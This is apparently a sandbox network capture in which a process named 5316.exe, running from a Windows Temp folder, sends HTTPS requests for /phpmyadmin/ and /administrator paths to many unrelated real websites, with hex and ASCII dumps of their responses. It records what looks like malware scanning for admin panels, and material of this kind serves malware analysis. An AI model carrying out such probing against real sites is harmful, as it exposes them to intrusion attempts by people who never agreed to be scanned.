2023-12-20 02:13:24 UTC	1348	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845da9fee06daa-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 48 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhm x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: 1c948519-9b0c-4a9e-87e5-60e5074ebe30 X-HubSpot-NotFound: true x-request-id: 1c948519-9b0c-4a9e-87e5-60e5074ebe30 X-Trace: 2B7ABA68E118E36355EDF50A3F900EC5602E9545A2000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t2u0tbvWUwoOO1Z2q%2FpauDOwtwvez9Mt15IEhgdbFNqq8F%2BP8aXt60e9kUmfFRNyhScPmBVK%2BisScbgb%2FAAHEIu3GB9xqnBzVFcrFMt0nKPMW%2FCnKqOWkVFeXWmUqb50uYcWKg%2FGn5anIXATI3o%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:24 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 37 66 65 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 7fea<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	54797	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	325	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bL3YTideDcLa2qjRTSvMdYiDLCrc5AQ6NmwIQvP6yULWU1axzviROUDpdCr0PXTXzk6gzCAoMEuoDprbYhXBzg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	54778	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	179	OUT	GET /administrator HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	1282	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Vary: Accept-Encoding Vary: Accept X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Content-Language: en-US X-Liquid-Rendered-At: 2023-12-20T02:13:24.316170113Z Strict-Transport-Security: max-age=7889238 Set-Cookie: localization=US; path=/; expires=Fri, 20 Dec 2024 02:13:24 GMT; SameSite=Lax Set-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:24 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:24 GMT; SameSite=Lax Set-Cookie: _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; Expires=Thu, 19-Dec-24 02:13:24 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; Expires=Wed, 20-Dec-23 02:43:24 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Server-Timing: processing;dur=146 X-Shopify-Stage: production
2023-12-20 02:13:24 UTC	1166	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 2f 63 73 70 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 6e 6f 74 5f 66 6f 75 6e 64 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 5f 73 65 63 74 69 6f 6e 25 32 46 73 68 6f 70 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 62 35 33 61 36 32 Data Ascii: Content-Security-Policy: frame-ancestors 'none'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b53a62
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 31 30 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 20 20 20 20 2a 20 7b 20 62 6f 72 64 65 72 3a 30 3b 20 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 Data Ascii: 10a8<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>404 Not Found</title> <meta name="referrer" content="never" /> <style type="text/css"> * { border:0; margin:0; padding:0; -moz-box-sizing:border-box; -webkit-box-sizi
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 6f 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 62 6c 6f 63 6b 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 2d 6c 61 72 67 65 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 72 65 71 75 65 73 74 2d 69 64 20 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 70 78 3b 20 66 6f Data Ascii: o { margin-bottom:30px; } .content--block { position:relative; margin-bottom:50px; } .content--desc { margin-bottom:32px; position:relative; } .content--desc-large { font-size:20px; line-height:28px; } .request-id { padding-top:100px; fo
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 69 64 3d 22 77 68 61 74 2d 77 65 6e 74 2d 77 72 6f 6e 67 3f 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 4c 61 79 65 72 47 72 6f 75 70 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 33 31 2e 30 30 30 30 30 30 2c 20 34 34 34 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 77 61 72 6e 69 6e 67 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 20 37 37 2e 30 30 30 30 30 30 29 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 72 6f 75 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 37 2e 35 39 33 2c 30 2e 34 39 32 20 43 31 38 2e 32 31 37 Data Ascii: id="what-went-wrong?" sketch:type="MSLayerGroup" transform="translate(231.000000, 444.000000)"> <g id="warning" transform="translate(0.000000, 77.000000)" sketch:type="MSShapeGroup"> <path d="M17.593,0.492 C18.217
2023-12-20 02:13:24 UTC	165	IN	Data Raw: 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 22 3e 52 65 74 75 72 6e 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 2e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: <li><a href="javascript:history.back()">Return to the previous page.</a></li> </ul> </div> </div> </div> </div></body></html>
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	54850	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	210	OUT	GET /administrator/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:24 GMT Connection: close
2023-12-20 02:13:24 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	55006	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	234	OUT	GET /administrator/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/administrator/
